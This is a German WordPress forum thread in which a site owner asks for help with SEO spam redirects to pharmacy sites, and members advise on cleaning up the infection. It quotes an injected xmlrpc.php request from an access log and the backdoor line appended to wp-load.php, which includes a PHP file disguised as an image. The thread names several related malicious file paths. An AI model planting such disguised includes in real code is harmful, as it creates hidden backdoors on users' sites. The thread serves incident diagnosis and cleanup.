1. Herzlich willkommen bei WPDE.org, dem grössten und ältesten deutschsprachigen Community-Forum rund um das Thema WordPress. Du musst angemeldet oder registriert sein, um Beiträge verfassen zu können.
    Information ausblenden

Google Suchergebnis verlinkt auf SPAM-Seiten

Dieses Thema im Forum "Allgemeines" wurde erstellt von Fitzkogerd, 30. Juni 2018.

  1. Fitzkogerd

    Fitzkogerd Member

    Registriert seit:
    30. Juni 2018
    Beiträge:
    7
    Zustimmungen:
    0
    Hallo,

    ich bin neu im Forum und hoffe, dass Ihr mir helfen könnt.
    Zu dem obigen Thema habe ich im Forum geschaut, bin aber leider nicht fündig geworden.

    Hier mein Problem:
    Sucht man bei google nach dem Wort "Puli", so erhält man in den ersten Einträgen die Seite www.puli.de aufgelistet. Der Text darunter variiert, hat aber mit der Seite nichts zu tun und ist SPAM (z.B. "Phentermine drug information. Without Prescription. Discounts up to 75%. Free shipping available. Special prices for all products. 24/7 Customer Support ..."
    Klickt man auf den Link ("https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=4&cad=rja&uact=8&ved=0ahUKEwj61tHqx_rbAhULDewKHZOkDwEQFgheMAM&url=http%3A%2F%2Fwww.puli.de%2F&usg=AOvVaw0XVDM4vJMjhgz3pcISSOaM") zur Seite, wird man meistens auf http://generic-drugs.biz/ weitergeleitet.

    Die Webseite https://www.puli.de wurde im Januar diesen Jahres mit wordpress neu gelauncht.
    Alles hat gut funktioniert. Am 25. Juni habe ich die letzte Änderung an einer Seite gemacht. Alles unauffällig.
    Am 28. Juni wurde ich auf die komische Suchergebnis-Verlinkung hingewiesen.

    Nachfrage bei provider webhostone ergab:
    -------------------------
    so wie es scheint wurde der Cache manipuliert. Ich finde keinerlei Malware bei einem Malwarescan und alle Worttreffer zu den von Ihnen genannten, finde ich nur im Caches des Wordpress.

    In der access_log habe ich folgende Zeile gefunden, allerdings ist das auch die einzige im gesamten Logzeitraum (Heute morgen 28.06.2018 03:47:39):

    POST /xmlrpc.php%20><link%20type%20text/css%20%20media%20all%20%20href%20https:/www.puli.de/wp-content/cache/autoptimize/css/autoptimize_a942e54bb32cb4a0592cb31b48facaf4.css%20%20rel%20stylesheet%20%20/><title>Where%20to%20purchase%20xanax%20in%20korea%20-%20No%20prescription%20required.</title><link%20rel%20alternate%20%20hreflang%20de%20%20href%20 HTTP/1.0" 200 73862 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" www.puli.de
    In der access_log habe ich folgende Zeile gefunden, allerdings ist das auch die einzige im gesamten Logzeitraum (Heute morgen 03:47:39):

    POST /xmlrpc.php%20><link%20type%20text/css%20%20media%20all%20%20href%20https:/www.puli.de/wp-content/cache/autoptimize/css/autoptimize_a942e54bb32cb4a0592cb31b48facaf4.css%20%20rel%20stylesheet%20%20/><title>Where%20to%20purchase%20xanax%20in%20korea%20-%20No%20prescription%20required.</title><link%20rel%20alternate%20%20hreflang%20de%20%20href%20 HTTP/1.0" 200 73862 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" www.puli.de

    Ich denke es handelt sich hier um "Cachepoisoning" und die xmlrpc in Verbindung mit dem Autooptimize könnte das Tor dafür sein.

    Wenn Sie den Wordpresscache leeren und mit den Google Webmastertools eine erneute Prüfung beauftragen, sollte sich das wieder normalisieren.
    ----------------------------
    Cache habe ich gelöscht und erneute Prüfung beantragt (s. Anhang). autoptimize und wp rocket habe ich deaktiviert, da ich dachte, der Cache sein das Problem. Hat aber auch nicht geholfen.

    Mit http://www.unmaskparasites.com/ finde ich aber trotzdem noch falsche Links, die im Quelltext nicht zu finden sind (s. Anhang).

    Alle anderen Prüfseiten bringen keine Fehler:
    https://sitecheck.sucuri.net/
    https://app.webinspector.com
    https://www.virustotal.com
    https://quttera.com

    Ich bin mit meinem Latein zu Ende.

    Könnt Ihr mir helfen?

    Beste Grüße
    Christian
     

    Anhänge:

  2. Fitzkogerd

    Fitzkogerd Member

    Registriert seit:
    30. Juni 2018
    Beiträge:
    7
    Zustimmungen:
    0
    Vielen Dank an Udo, der mir mit vielen Tips weitergeholfen hat.
     
  3. Fitzkogerd

    Fitzkogerd Member

    Registriert seit:
    30. Juni 2018
    Beiträge:
    7
    Zustimmungen:
    0
    Kann geschlossen werden
     
  4. maxe

    maxe Well-Known Member
    Ehrenmitglied

    Registriert seit:
    1. Mai 2008
    Beiträge:
    19.497
    Zustimmungen:
    260
    Geschlossen wird hier nix, du könntest allerdings mal die Lösung schreiben.
     
    FloRet gefällt das.
  5. Fitzkogerd

    Fitzkogerd Member

    Registriert seit:
    30. Juni 2018
    Beiträge:
    7
    Zustimmungen:
    0
    Hallo Maxe, ich war zu schnell. Die Seite wurde wieder gehackt.

    Was habe ich getan, um vermeintlich die Lösung zu haben:
    1. Backup in Test-Instanz auf dem Server eingespielt -> Funktionierte, sogar mit modifiziertem Google-Suchergebnislink. Der hat sonst sofort aauf die SPAM-Seite umgeleitet
    2. Gleiches Back-up in Produktionsumgebung eingespielt. Die Seite hat sofort auf die SPAM.-Seite weitergeleitet. Warum? Keine Ahnung
    3. Testinstanz mit folgenden Plugins installiert:
    -- Antispam-Bee
    -- Antivirus
    -- Rename wp-login.php
    4. Back-up von Testinstanz gemacht und in Produktion eingestellt. Auch hier hat der Google-Suchergebnislink funktioniert.
    5. Bis gerade dachte ich es hätte funktioniert. Google-Ergebnisdarstellung hatte sich auch wieder richtig gezeigt.

    Jetzt bin ich ziemlich frustriert. Habt Ihr noch eine Idee?

    Grüße
    Christian
     
  6. SirEctor

    SirEctor Well-Known Member
    Ehrenmitglied

    Registriert seit:
    28. Oktober 2008
    Beiträge:
    12.341
    Zustimmungen:
    417
    Ich lese nichts davon, dass du Dateien geschweige denn die Datenbank oder Plugins bereinigt hast. Was hast du denn gemacht um den "Hack" zu entfernen?

    Wo ist die Sicherhaitslücke? Wurde die beseitigt?

    Einfach nur ein Backup einspielen reicht meist nicht
     
    SuMu gefällt das.
  7. Fitzkogerd

    Fitzkogerd Member

    Registriert seit:
    30. Juni 2018
    Beiträge:
    7
    Zustimmungen:
    0
    Hallo SirEctor,

    was ich gemacht habe ist die Security Plug-ins eingespielt in das Backup.

    Was muss ich denn tun?

    Gruß
    Christian
     
  8. SirEctor

    SirEctor Well-Known Member
    Ehrenmitglied

    Registriert seit:
    28. Oktober 2008
    Beiträge:
    12.341
    Zustimmungen:
    417
  9. Fitzkogerd

    Fitzkogerd Member

    Registriert seit:
    30. Juni 2018
    Beiträge:
    7
    Zustimmungen:
    0
    Habe wordfence installiert und gescannt. Es gab eine Menge Critical und Warnings. Alles Dateien, die laut wordfence da nicht hingehören. Habe sie gelöscht. Die Seite scheint zu functionieren.
    Außerdem waren zwei User mit zu schwachen Passworten ausgestattet, ist auch korrigiert.

    Danke für den hilfreichen Verweis auf den Forumseintrag.

    Das access_log habe ich übnerprüfen lassen, aber das sagt mir nichts. (s. Anhang). Habe die log-DAtei auch mal hochgeladen.

    Was bleibt ist die Frage nach der Sicherheitslücke, die ich nicht beantworten kann. Wie bekomme ich das raus?
     

    Anhänge:

  10. SirEctor

    SirEctor Well-Known Member
    Ehrenmitglied

    Registriert seit:
    28. Oktober 2008
    Beiträge:
    12.341
    Zustimmungen:
    417
    Wenn ich deine Beiträge hier so lese, befürchte ich das du es selber nicht raus bekommst. Such dir jemanden, der das für dich übernehmen kann.

    Sämtliche Passwörter wurden korrigiert? Also nicht nur WordPress?
     
  11. Fitzkogerd

    Fitzkogerd Member

    Registriert seit:
    30. Juni 2018
    Beiträge:
    7
    Zustimmungen:
    0
    Hallo SirEctor,

    jetzt bin ich in dem acces_log auf 89 Einträge der folgenden Art gestoßen:

    89.107.184.0 - - [16/Jul/2018:22:53:13 +0200] "POST /wp-cron.php?doing_wp_cron=1531774392.7679040431976318359375 HTTP/1.0" 200 - "https://www.puli.de/wp-cron.php?doing_wp_cron=1531774392.7679040431976318359375" "YwPJZT0UouYz" www.puli.de
    ::1 - - [16/Jul/2018:22:53:24 +0200] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.23 (Debian) OpenSSL/1.0.2m (internal dummy connection)" wt14.serverdomain.org

    Dieser Eintrag manipuliert die wp_load.php mit folgendem Eintrag am Ende:

    // Edit and deleting this code is not recommended!
    @include( ABSPATH . WPINC . '/images/tnd.png');

    In der Folge kommt es dann zu neuen Dateien in wp_admin und in der Folge zu einer Weiterleitung auf organic-pills.com, wenn man aus den Googleergebnissen auf die Puli-Seite gelangen möchte.

    Ich habe denn Post zum Bereinigen der Wordpressinstallation gelesen, weis aber nicht, wie die Reihenfolge sein muss:
    1. Erst PWD von Account, FTP und DB ändern
    2. dann wp_includes und wp_admin löschen bzw. neu hochladen? Was bringt das, wenn im root the wp_load.php Datei geändert wird?

    Was passiert, wenn in der zwischenzeit ein erneuter Post stattfindet? Muss ich den Apachen herunterfahren in der Zeit?
    Ein von wordfence angemeckertes Plugin habe ich gelösvht und neu hochgeladen. Seitdem wurde es nicht mehr angemeckert.

    Bitte um Unterstützung.
    Gruß
    Christian
     

    Anhänge:

    #11 Fitzkogerd, 17. Juli 2018
    Zuletzt bearbeitet: 17. Juli 2018
  12. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    8.408
    Zustimmungen:
    924
    WP Cron ist ein legitimer Teil des WordPress Core, darüber werden regelmässig dort eingetragene Aufgaben bearbeitet, und in Deinem Fall offenbar u.a. auch der Trojaner neu installiert bzw. repariert oder initialisiert. Die Datei WPINC . '/images/tnd.png' ist hier kein Bild sondern eine PHP-Datei mit Teilen des Trojaners.

    Ändere die Passwörter einfach vor und nach dem Abarbeiten der gesamten Liste.

    Mit dem Installieren eines Secruity-Plugins und dem Austausch nur selektiver Dateien ist es nicht getan. Es muss ein kompletter Abgleich aller .php Dateien auf dem Server (Core, Plugins, Theme, u.a.) mit sicher sauberen Versionen erfolgt sein. Dabei beachten, Trojaner hinterlassen gern auch zusätzliche Dateien in System- oder Theme oder Plugin- oder Upload-Ordnern, die ggf. vom Namen her legitim klingen, es aber nicht sind. Daher auszutauschende Ordner vorher komplett löschen.

    Die Datei wp-config.php bei der Untersuchung nicht vergessen, dort verstecken sich Trojaner oft in der ersten Zeile, erst sichtbar wenn man im Editor gaaaanz weit nach rechts scrollt.

    Ggf. empfiehlt sich auch die Nutzung professioneller Hilfe, die gibt es über die Jobbörse hier im Forum.
     
    #12 b3317133, 17. Juli 2018
    Zuletzt bearbeitet: 17. Juli 2018
  13. danielgoehr

    danielgoehr Well-Known Member

    Registriert seit:
    13. Juli 2016
    Beiträge:
    2.556
    Zustimmungen:
    84
    Da ich vor kurzem (bzw. eigentlich immer noch) mit ziemlich exakt dem gleichen Hack zu tun hatte/habe:

    1.) Ersetz das gesamte wp-includes Verzeichnis gegen die Orginal-Dateien.
    2.) Ersetz die wp-load.php im Wordpress-Root gegen die original-Datei.
    3.) Lösche (zusätzlich) folgende Dateien:
    wp-content/wp-advanced-cache.php
    wp-content/themes/index.php
    4.) Prüf das webroot auf eine Datei "0.php". Wenn vorhanden -> löschen.
    5.) Verhinder per htaccess den Zugriff auf die unter 3 und 4 genannten Dateien.

    Ansonsten alle "üblichen" Maßnahmen durchführen, die die anderen auch schon empfohlen haben. Leider weiß ich bis heute die Ursache nicht und beobachte noch. Aber bislang scheint es, zumindest vorübergehend, zu wirken.
     
  14. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    8.408
    Zustimmungen:
    924
    @danielgoehr Es ist in den seltensten Fällen nur ein Hack, erfahrungsgemäss sind es allermeist unterschiedlichste Kombinationen aus diversen Hacks und Trojanern, die über erratene Kennwörter oder auch über z.B. "genullte" Themes und Plugins o.ä. an Bord kommen.

    Zu 1. & 2. Es müssen immer ausnahmslos ALLE WordPress-Dateien, Theme- & Plugin-Dateien (auch nicht aktive) ersetzt bzw. abgeglichen werden, siehe Link oben.

    Zu 3. Die beiden genannten Dateien sind legitim und müssen nicht verseucht sein, das Löschen einer legitimen wp-advanced-cache.php kann unter Umständen das Frontend eines Websites lahmlegen.

    Deine Liste ist ein Erfahrungsbericht eines Einzelfalls, und falls die unter 3. genannten Dateien wirklich verseucht waren, würde ich darauf wetten, dass es noch eine ganze Reihe andere Dateien gegeben hat oder auch noch gibt.

    Ein Klassiker hier ist die erste Zeile der wp-config.php oder ein paar offiziell klingende .php Dateien in einem Unterordner in einem inaktiven Twenty XXX Theme.
     
    #14 b3317133, 17. Juli 2018
    Zuletzt bearbeitet: 17. Juli 2018
  15. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    8.408
    Zustimmungen:
    924
    Bitte genau lesen, dort steht:
    Die Systemdatei wp-load.php (die meinst Du wahrscheinlich, ein wp_load.php gibt es in WordPress nicht) gehört natürlich dazu. Die beiden Unterordner löscht man vorher, weil beim einfachen Überschreiben der Ordner die vom Trojaner / Hack zusätzlich irgendwo eingefügte Dateien sonst erhalten bleiben.
     
    #15 b3317133, 17. Juli 2018
    Zuletzt bearbeitet: 17. Juli 2018
  16. danielgoehr

    danielgoehr Well-Known Member

    Registriert seit:
    13. Juli 2016
    Beiträge:
    2.556
    Zustimmungen:
    84
    Das war nur als Hinweis gemeint, diese Dateien hängen (zumindest bei meinem Hack) alle ziemlich eindeutig und nachvollziehbar zusammen. Es ist auch nicht als Lösung gemeint, sondern eher als schnelle, erste Abhilfe. Natürlich muss die Ursache gefunden werden. Aber das ist halt manchmal nicht so einfach. Ich schreibe gerade Logs und überwache Veränderungen in verschiedenen Verzeichnissen und konnte so bislang den Zusammenhang dieser Dateien feststellen. Es kann beim TE natürlich anders sein. Aber es ist trotzdem nicht verkehrt, diese Dateien Mal gezielt unter die Lupe zu nehmen.

    Genullte Themes und Plugins kann ich sicher ausschließen. Wordpress, Plugins und Theme sind aktuell und werden seit Jahren regelmäßig aktualisiert.

    Das sollte ja relativ klar sein, bzw. wurde ja auch schon erwähnt. Deswegen meinte ich ja, meine Informationen sind eher als Zusatz zum bereits empfohlenen/gesamten zu sehen.

    Ok, das ist richtig. Insofern korrigiere ich mich und würde auch eher empfehlen, sie nicht blind zu löschen, sondern einen Diff zu erstellen. wp-advanced-cache.php gehört meines Wissens nach zu WP Super Cache. Ist das nicht installiert, sollte das löschen ungefährlich sein. Ist es installiert, ist das ersetzen durch die Original-Datei natürlich der bessere Weg.

    Es ist ein Einzelfallbericht, der exakt die gleichen Symptome zeigt, die der TE beschreibt (gleiche Manipulation der wp-load.php, tnd.png im wp-includes/Images Verzeichnis). Die "Installation" dieser beiden Dateien und auch der Datei ms-advanced-cache.php in wp-includes erfolgt über die manipulierte wp-advanced-cache.php durch einen Aufruf mit dem angehängten Parameter "root" (nachvollziehbar und reproduzierbar). Die index.php im Theme-Verzeichnis scheint die Quelle der wp-advanced-cache.php in wp-content zu sein. Die Dateien hängen also schon relativ eindeutig zusammen und es nicht nicht unwahrscheinlich, dass es beim TE genauso ist. Es sind nicht einfach zufällig unterschiedliche, manipulierte Dateien.
    Ich hätte mich zumindest gefreut, wenn sich diese Zusammhänge damals hätten ergoogeln lassen. Hätte mir viel Zeit gespart.
    Ich bin mir weitestgehend sicher, dass es keine weiteren manipulierten Dateien mehr gibt. Die Dateien wurden alle erstezt und werden fortlaufend mit den Originaldateien abgeglichen.

    Nur die Quelle der manipulierten index.php im Theme Verzeichnis is ist mir bislang ein Rätsel. Da aktuell aber nichts mehr passiert, komme ich hier zumindest aktuell nicht weiter bei der Analyse.

    Es gibt, zumindest in meinem Fall, keine inaktiven Themes oder Plugins.

    Wie gesagt. Ich meinte das auch nicht als Lösung des Problems, sondern eher als schnelle erste Hilfe zur Bereinigung und als Anhaltspunkte für den TE. Das habe ich vorhin vielleicht etwas zu knapp/missverständlich formuliert. Wenn es beim TE am Ende ganz anders ist, hilft das natürlich nicht weiter. Ich vermute aber weiterhin, dass es quasi der gleiche oder zumindest ein sehr ähnlicher Hack ist.
     
    #16 danielgoehr, 17. Juli 2018
    Zuletzt bearbeitet: 17. Juli 2018
  17. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    8.408
    Zustimmungen:
    924
    Das heisst, in Deinem Fall ergibt ein Diff aller Dateien des gesamten Websites und einem Satz sauberer frisch entpackter zips der gleichen Versionen des WP Core und allen Plugins und allen Themes eine 100% Übereinstimmung (ausgenommen wp-config.php)?
     
  18. danielgoehr

    danielgoehr Well-Known Member

    Registriert seit:
    13. Juli 2016
    Beiträge:
    2.556
    Zustimmungen:
    84
    Jein. So einfach ist es ja (leider) nicht.

    Für wp-includes und wp-admin und das Root-Verzeichnis (bis auf wp-content.php): Ja.
    Für das Theme und Plugins: Ja.

    Das Child-Theme und eigene Plugins habe ich mit verschiedenen "alten" Backups abgeglichen (von denen ich zumindest weitgehend sicher bin, dass sie sauber waren). Hier besteht natürlich aktuell noch ein Restrisiko.

    Das gleiche gilt für das (leider sehr umfangreiche) wp-content Verzeichnis. Hier habe ich auch diffs mit meinen Backups erstellt und zumindest alle PHP Dateien soweit geprüft. 100% ausschließen, dass es unter den neueren Dateien noch z.B. manipulierte Bilddateien gibt, kann ich aktuell nicht.

    Im Moment überwache ich Datei-Änderungen und schreibe mir dazu Logs mit timestamps um sie dann ggf. mit den Access Logs abzugleichen. So habe ich die bisherigen Zusammenhänge der o.g. Dateien herstellen/reproduzieren können. Da aber, wie gesagt, aktuell keine Veränderungen mehr stattfinden, sammel ich so gesehen auch keine brauchbaren Informationen mehr.

    Ich muss aber auch ehrlich sagen, ich habe schon einiges an Hacks gesehen und bereinigt. Sowas habe ich bislang noch nicht gesehen. Sonst kommen solche Hacks ja eher etwas plump daher. Hier hat sich jemand auf jeden Fall mal ein paar Gedanken gemacht. Vielleicht hätte ich bislang aber auch einfach nur Glück ;)
     
  19. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    8.408
    Zustimmungen:
    924
    Welche .php Dateien ausser Themes und Plugins gibt es in wp-content/ denn noch?
     
  20. danielgoehr

    danielgoehr Well-Known Member

    Registriert seit:
    13. Juli 2016
    Beiträge:
    2.556
    Zustimmungen:
    84
    Möchtest du die konkrete Liste? Dann müsste ich morgen nachschauen. Das weiß ich nicht aus dem Kopf.
    Aber es gibt ja z.B. die index.php Dateien ("silence is golden").
     
  1. Diese Seite verwendet Cookies, um Inhalte zu personalisieren, diese deiner Erfahrung anzupassen und dich nach der Registrierung angemeldet zu halten.
    Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies.
    Information ausblenden
  1. Diese Seite verwendet Cookies, um Inhalte zu personalisieren, diese deiner Erfahrung anzupassen und dich nach der Registrierung angemeldet zu halten.
    Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies.
    Information ausblenden